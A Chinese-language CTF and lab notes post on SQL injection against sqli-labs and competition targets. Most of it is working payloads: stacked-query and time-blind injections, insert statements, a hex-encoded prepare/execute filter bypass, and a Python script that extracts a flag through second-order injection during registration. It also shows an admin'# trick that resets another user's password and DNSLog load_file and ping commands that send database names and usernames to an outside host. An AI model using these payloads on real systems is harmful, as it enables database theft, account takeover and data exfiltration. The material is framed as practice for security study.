数据库堆叠注入:
在SQL中,分号(;)是用来表示一条sql语句的结束。 结束一个sql 语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而 unioninjection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
使用条件
堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁
堆叠查询注入攻击构造
正常sql语句:Select * from users where id=’1’’;
注 入 sql 语 句 : Select * from users where id=’1’;select if(length(database())>5,sleep(5),1)%23;
Payload= ‘;select if(length(database())>5,sleep(5),1)%23
Payload= ‘;select if(substr(user(),1,1)=‘r’,sleep(3),1)%23 如此句:从堆叠注入语句中可以看出,第二条SQL语句(selectif(substr(user(),1,1)=‘r’,sleep(3),1)%23 就是时间盲注的语句。
堆叠注入和union的区别在于,union后只能跟select,而堆叠后面可以使用insert,update, create,delete等常规数据库语句
【sqli-labs】less38 GET -Stacked Query Injection -String based (GET 型堆叠查询字符型注入):
127.0.0.1/sqli/Less-39/?id=1‘; insert into users values(‘15’,‘lin’,‘325’) –+
【sqli-labs】less39 GET -Stacked Query Injection -Intiger based (GET 型堆叠查询整型注入):
127.0.0.1/sqli/Less-39/?id=1; insert into users values(‘16’,‘mu’,‘123’) –+
强网杯payload:
发现了select等过滤,还有大小写都过滤了
对’;select flag from `1919810931114514`;这个字符串进行转义成16进制。
转化成为:0x73656c656374202a2066726f6d20603139313938313039333131313435313460
构造payload:’;SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
二次注入攻击
原理就如图所示,其实就是传入恶意数据在之后的步骤中被执行
- 二次注入-74CMS&网鼎杯2018Unfinish
- CTF环境坏了,之后在做
import requests from bs4 import BeautifulSoup import time url = "http://61.147.171.105:54370/" m="" for i in range(100): payload = "0'+ascii(substr((select * from flag) from {} for 1 ))+'0".format(i+1) register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'} login = {'email':'abc{}@qq.com'.format(i),'password':'123456'} req=requests.session() r1=req.post(url+'register.php',data=register) r2=req.post(url+'login.php',data=login) r3=req.post(url+'index.php') html=r3.text soup=BeautifulSoup(html,'html.parser') UserNmae= soup.span.string.strip() if int(UserNmae) ==0: break m+=chr(int(UserNmae)) print(m) time.sleep(1)
sqli-labs练习
注册:帐号 admin’# 密码随意
登陆后
修改密码的语句:sql=“UPDATEusersSETPASSWORD=′pass’ where username=‘admin’#’ and password=’$curr_pass’ “;
很明显后面被我们注释掉了,所以可以随意修改密码来获得我们想要的
成功了(不放图片了)
DNsLOG
1.平台
http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io
2.应用场景:
解决不回显,反向连接,SQL注入,命令执行,SSRF等
在平台上申请一个账号,使用者要支持访问这个地址才能使用,如果不支持那就没办法使用。在注入中只有load_file支持这钟类型的注入。
现在举个命令执行的例子:ping %USERNAME%.ez1dw8.dnslog.cn
SQL注入:
select load_file(concat(‘\\\\’,(select database()),’.7logee.dnslog.cn\\aa’));
and (select load_file(concat(‘//’,(select database()),’.69knl9.dnslog.cn/abc’)))
命令执行:
ping %USERNAME%.7logee.dnslog.cn